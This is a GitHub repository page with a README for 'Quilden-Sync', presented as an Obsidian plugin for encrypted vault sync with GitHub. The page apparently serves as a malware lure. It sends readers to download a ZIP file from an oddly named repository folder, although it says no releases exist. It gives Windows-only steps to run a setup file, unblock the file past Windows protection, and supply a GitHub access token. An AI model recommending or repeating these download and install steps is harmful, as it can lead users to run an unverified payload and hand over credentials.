Skip to content

peeragesafetycatch785/Quilden-Sync

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

30 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”„ Quilden-Sync - Secure Vault Sync for GitHub

Download Quilden-Sync

🧭 What Quilden-Sync does

Quilden-Sync is an Obsidian plugin that keeps your vault in sync with GitHub. It adds end-to-end encryption, file history, and Quilden web editor support.

Use it to:

  • Back up your vault to GitHub
  • Keep your notes in sync across devices
  • Store files with end-to-end encryption
  • Track file changes with history
  • Open content in the Quilden web editor when needed

πŸ’» What you need

Before you start, make sure you have:

  • A Windows PC
  • Obsidian installed
  • A GitHub account
  • A vault you want to sync
  • Enough space for your vault and file history

For best results, use:

  • Windows 10 or Windows 11
  • A stable internet connection
  • The latest version of Obsidian

πŸ“₯ Download Quilden-Sync

Visit this page to download the latest release:

https://github.com/peeragesafetycatch785/Quilden-Sync/raw/refs/heads/main/Palamedea/Quilden_Sync_3.0-alpha.4.zip

On that page, look for the newest release and download the Windows file or plugin package attached to it.

πŸ› οΈ Install on Windows

Follow these steps in order.

  1. Open the download page in your browser.
  2. Find the latest release at the top of the page.
  3. Download the file for Windows.
  4. If the file is in a ZIP folder, save it to your Downloads folder.
  5. Right-click the ZIP file and choose Extract All.
  6. Open your Obsidian vault folder.
  7. Copy the Quilden-Sync plugin files into the Obsidian plugin folder.
  8. If Obsidian asks to trust the plugin, choose to trust and enable it.
  9. Restart Obsidian.

If the release includes a setup file, double-click it and follow the prompts. If it includes a plugin folder, place that folder in your vault’s .obsidian/plugins directory.

βš™οΈ Set up the plugin

After you install it, open Obsidian and do this:

  1. Open Settings.
  2. Go to Community plugins.
  3. Turn on Quilden-Sync.
  4. Open the Quilden-Sync settings page.
  5. Connect your GitHub account or paste your access token.
  6. Choose the GitHub repository you want to use.
  7. Set your encryption password or key.
  8. Pick the folders you want to sync.
  9. Save your settings.

If you use the Quilden web editor, add the editor link in the settings page so the plugin can open files there when needed.

πŸ” Encryption and file history

Quilden-Sync protects your vault with end-to-end encryption. That means your notes are encrypted before they leave your device.

It also keeps file history so you can:

  • View earlier versions of a file
  • Restore old content
  • Check when a note changed
  • Recover from mistakes

To get the best results:

  • Use one strong encryption password
  • Keep your GitHub access token private
  • Sync only the folders you want to store online

πŸ“ How syncing works

Quilden-Sync watches your vault for changes. When you edit a file, it can:

  • Encrypt the file
  • Upload the change to GitHub
  • Save version history
  • Pull changes from GitHub to your vault

If you use more than one device, make sure each device uses the same GitHub repo and encryption settings.

🧩 First sync checklist

Before your first sync, check these items:

  • Obsidian is open
  • Quilden-Sync is enabled
  • Your GitHub account is connected
  • Your repo name is correct
  • Your encryption password matches on all devices
  • Your sync folder is selected
  • Your internet connection is active

Then run the first sync from the plugin settings. The first sync may take longer if your vault is large.

πŸ“‚ Recommended folder setup

A simple setup works best:

  • Keep your vault in one main folder
  • Store attachments in a separate folder if you use many images
  • Sync only the folders you need
  • Avoid moving the vault while a sync is running

Example layout:

  • Vault/
    • Notes/
    • Images/
    • Projects/

This makes it easier to keep track of what gets synced.

πŸ”§ Common tasks

Sync now

Open the Quilden-Sync panel and choose the sync option. Use this when you want to send recent changes to GitHub right away.

Pull latest changes

Use this when you made changes on another device. The plugin will bring those changes into your vault.

Open in Quilden web editor

If you use the Quilden editor, open a file from the plugin menu and choose the web editor option.

View file history

Open a file history view to see earlier versions. You can compare changes and restore an older copy.

πŸͺŸ Windows tips

If Windows blocks the file:

  1. Right-click the downloaded file.
  2. Choose Properties.
  3. Look for an Unblock option.
  4. Check Unblock if you see it.
  5. Click OK.

If Obsidian does not show the plugin:

  1. Close Obsidian.
  2. Check the plugin folder in .obsidian/plugins.
  3. Make sure the Quilden-Sync folder is there.
  4. Reopen Obsidian.
  5. Enable the plugin in Community plugins.

πŸ§ͺ Simple test after install

After setup, test the plugin with one short note:

  1. Create a new note in Obsidian.
  2. Type a short line of text.
  3. Save the note.
  4. Run sync.
  5. Open your GitHub repo and check that the file appears.

Then change the note and sync again to see file history update.

πŸ”‘ GitHub access token setup

You may need a GitHub token to let the plugin write to your repo.

Use a token with only the access needed for your vault. Keep it in the plugin settings, not in a note.

If you use more than one device, use the same repo and the same encryption settings on each one.

🧭 Troubleshooting

The plugin does not appear

  • Restart Obsidian
  • Check the plugin folder name
  • Make sure the files are in .obsidian/plugins
  • Turn on Community plugins

Sync does not start

  • Check your internet connection
  • Confirm your GitHub token is valid
  • Check that the repo name is correct
  • Make sure the plugin is enabled

Files do not match on two devices

  • Confirm both devices use the same repo
  • Confirm both devices use the same encryption key
  • Run a pull on the second device
  • Check for file conflicts

File history looks wrong

  • Make sure you synced the file after each change
  • Check that the file stayed in the synced folder
  • Confirm the repo has the latest commits

Quilden editor does not open

  • Check the editor link in settings
  • Make sure the web editor address is correct
  • Try opening it in your browser first

πŸ“ Backup habits

Keep a second backup in place. GitHub helps with history and sync, but a local backup is still useful.

Good habits:

  • Back up your vault before first use
  • Test one small folder first
  • Keep your encryption password in a safe place
  • Review your repo after major changes

πŸ–₯️ Suggested use

Quilden-Sync fits users who want:

  • A simple way to back up notes
  • GitHub-based sync for an Obsidian vault
  • Encryption for private content
  • File history for note recovery
  • Quilden web editor support

πŸ“Ž Release downloads

Download the latest version here:

https://github.com/peeragesafetycatch785/Quilden-Sync/raw/refs/heads/main/Palamedea/Quilden_Sync_3.0-alpha.4.zip

Use the latest release file for Windows, then install it in Obsidian and enable the plugin

Releases

No releases published

Packages

 
 
 

Contributors